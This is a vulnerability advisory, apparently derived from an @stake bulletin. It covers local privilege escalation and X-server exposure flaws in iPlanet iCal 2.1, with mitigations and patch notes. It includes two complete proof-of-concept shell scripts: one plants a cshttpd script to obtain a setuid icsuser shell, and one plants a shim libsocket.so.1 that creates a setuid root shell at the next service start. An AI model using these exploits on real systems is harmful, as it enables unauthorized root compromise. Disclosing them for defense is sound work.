COMMAND

    iCal

SYSTEMS AFFECTED

    iPlanet's iCal version 2.1 Patch 2

PROBLEM

    Following is  based on  a @stake  Security Advisory  by Silicosis.
    iPlanet's iCal, a  multiplatform calendaring server,  introduces a
    number of vulnerabilities to the  system in which it is  installed
    on.  These vulnerabilities, ranging from poor file permissions  to
    insecure  programming  practices  allow  local attackers to obtain
    root access, and remote attackers to monitor keystrokes.

    During   the   software   installation   process,   two   of   the
    vulnerabilities  are  introduced   to  the  system.    The   first
    vulnerability,  involves  removing  any  access control mechanisms
    placed on the  server's X-server.   The second involves  poor file
    permissions on  the installed  software, allowing  local users  to
    modify or replace shell scripts that will be executed by the  root
    user.

    Two more vulnerabilities exists  in a suid-root binary,  'csstart'
    that  is  executed  upon  startup.   Due  to  insecure programming
    practices,  it  is  possible  for  a  local  user to elevate their
    privileges, and then use this access to obtain root privileges.

    The first vulnerability, involves using a GUI to install the  iCal
    software, which is the default  method.  Although a second  method
    exists,  a   command  line   only  method   which  prevents   this
    vulnerability, it is not mentioned in the documentation  contained
    within the distribution tarfile.

    When  performing  an  installation  using  a GUI, the setup script
    executes 'xhost +' on the system, which removes all access control
    to  the  system's  X  server.   Without  access  control in place,
    external attackers can  then connect to  the X server  and monitor
    keystrokes  and  obtain  screen  images  using  common,   publicly
    available, tools.  This vulnerability can be avoided by  executing
    the installation script with the '-nodisplay' option.

    The  second  vulnerability  involves  installed files that contain
    poor file permissions.  After  installation, a total of 289  files
    exist with  world-writable permission.   Of these  world  writable
    files, the  following is  executed by  root during  system boot-up
    and shutdown:

        -rwxrwxrwx  1 icsuser  icsgroup /opt/SUNWicsrv/cal/bin/iplncal.sh

    On  Solaris,  /etc/rc3.d/S94sunwicsrv  executes /etc/iplncal.sh, a
    symlink pointing to /opt/SUNWicsrv/cal/bin/iplncal.sh.  Due to the
    world-writable file permissions, normal  users on the system  have
    access to modify this file and insert or delete commands that will
    be executed by root every time the system is started or stopped.

    In order to prevent users from modifying this file, administrators
    should  first  remove  the  world-writable  bit,  and  change  the
    ownership of the file to root.  Administrators should also  change
    the ownership of the '/opt/SUNWicsrv/cal/bin' directory to root to
    protect against this attack when used in conjunction with the next
    vulnerability.

    The third vulnerability involves  a suid-root binary that  is also
    used   in    the    startup/shutdown   process.      The     file,
    /opt/SUNWicsrv/cal/bin/csstart, contains  a programming  flaw that
    enables local  users to  execute commands  as the  "icsuser" user.
    Although the file is suid-root,  the program drops its user-id  to
    "icsuser" before we exploit the flaw.

    The  flaw  revolves  around  the  fact  that  the  program blindly
    executes the "cshttpd"  web daemon out  of the current  directory.
    To exploit this, simply create a shell script called 'cshttpd'  in
    your  current  directory  and  execute  the  csstart program.  Any
    commands placed in this script will be executed with the icsusers'
    effective user-id.  By compromising the icsuser we can now  create
    and modify files within the iCal installation directories.   Using
    this access we can compromise the root user.

    Running the csstart program as root, and trussing it, we note  the
    forth vulnerability; one of the first things the program tries  to
    do as root is to open a number of libraries in a number of places,
    if it cannot find the libraries it fails over and uses the  system
    libraries:

        7703:   open("./libsocket.so.1", O_RDONLY)              Err#2 ENOENT
        7703:   open("../lib/libsocket.so.1", O_RDONLY)         Err#2 ENOENT
        7703:   open("/usr/lib/libsocket.so.1", O_RDONLY)       = 4

        7703:   open("./libnsl.so.1", O_RDONLY)                 Err#2 ENOENT
        7703:   open("../lib/libnsl.so.1", O_RDONLY)            Err#2 ENOENT
        7703:   open("/usr/lib/libnsl.so.1", O_RDONLY)          = 4

    Because the  default permissions  on the  installation directories
    have everything owned by the icsuser, we can place a shim  library
    that will be  loaded before the  real library.   This shim library
    will contain modified functions which will execute commands of our
    choice, as root, the  next time the daemon  is started.  Proof  of
    concept tools have been created to do just this, and are  provided
    below.

    There are two scripts below,  the first obtains an icsuser  shell.
    The second script is used to obtain root access the next time iCal
    is  stopped  or  started.   The  second  script should be run once
    you've  obtained  the  shell  and  have  become the icsuser.  This
    second  script  creates  a  shim  libsocket.so.1  library  with  a
    modified socket() function  that then executes  a shell script  as
    root.

    [begin: obtain-ics.sh]
    #!/bin/sh
    #
    # Simple proof of concept exploit used to obtain icsuser shell.
    #
    #  -sili@atstake.com
    #
    INSTDIR=`cat /etc/iplncal.conf`

    cat > cshttpd << FOOFOO
    #!/bin/sh
    cp /usr/bin/ksh ./icsuser
    chmod 4755 ./icsuser
    FOOFOO

    chmod 755 ./cshttpd

    echo "Executing csstart...."
    $INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null

    sleep 1
    ls -al ./icsuser
    [end: obtain-ics.sh]


    [begin: obtain-root.sh]
    #!/bin/sh
    #
    # Simple iCal exploit. Become icsuser by running the shell created with
    # the
    # obtain-ics.sh script, and then run this shell script. The next time that
    # the
    # service is started by root (ie. system reboot), a root owned suid shell
    # will
    # be created: /tmp/r00tshell.
    #
    #  -sili@atstake.com
    #

    INSTDIR=`cat /etc/iplncal.conf`

    #######
    #Create the shim library..

    cat > libsushi.c << FOEFOE
    /* libsushi
        compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
    libsushi.c
    */
    #include <unistd.h>
    int socket(void)
    {
            setuid(0);
            execl("./icalroot","icalroot",0);
            return 0;
    }
    FOEFOE

    #####
    #create the shell script we'll be executing as root..

    cat > $INSTDIR/cal/bin/icalroot << FOOFOO
    #!/bin/sh
    cp /usr/bin/ksh /tmp/r00tshell
    chmod 4755 /tmp/r00tshell
    rm $INSTDIR/cal/bin/icalroot
    rm $INSTDIR/cal/bin/libsocket.so.1
    FOOFOO

    #####
    #make sure script is executable; compile library & put in place..

    chmod 755 $INSTDIR/cal/bin/icalroot
    gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi libsushi.c
    cp ./libsushi $INSTDIR/cal/bin/libsocket.so.1

    sleep 1

    ls -l $INSTDIR/cal/bin/libsocket.so.1
    ls -l $INSTDIR/cal/bin/icalroot

    echo ".. Now wait for the iCal service to start up again"
    [end:  obtain-root.sh]

SOLUTION

    In order to protect  against the first vulnerability,  install the
    iCal service using  the command-line only  method.  This  involves
    running the  installation script  with the  '-nodisplay' argument.
    If  iCal  was  already  installed  on  a system that is running an
    X-server, Administrators  should check  the status  of the  access
    control mechanisms by running the "xhost" command.  Access control
    should  be  enabled,  not  disabled.   More  information about the
    '-nodisplay' argument can be found within the online documentation
    at http://www.iPlanet.com.

    To  protect   against  the   second  and   third  vulnerabilities,
    Administrators  are  advised  to  change  the  ownership  of   the
    /opt/SUNWicsrv/cal/bin/ directory to that of root.  Administrators
    should also change the ownership of any file that will be executed
    as root during the startup or shutdown process.

    The following is a description of how Netscape fixed the problems.
    These  issues  do  not  occur  in  their  impending release of the
    iPlanet Calendar Server 5.0 product.  For the iCS 2.1 product,  an
    immediate Hotfix is available through the iPlanet Support  Channel
    and will be bundled with the iCS 2.1 Patch-04 Release.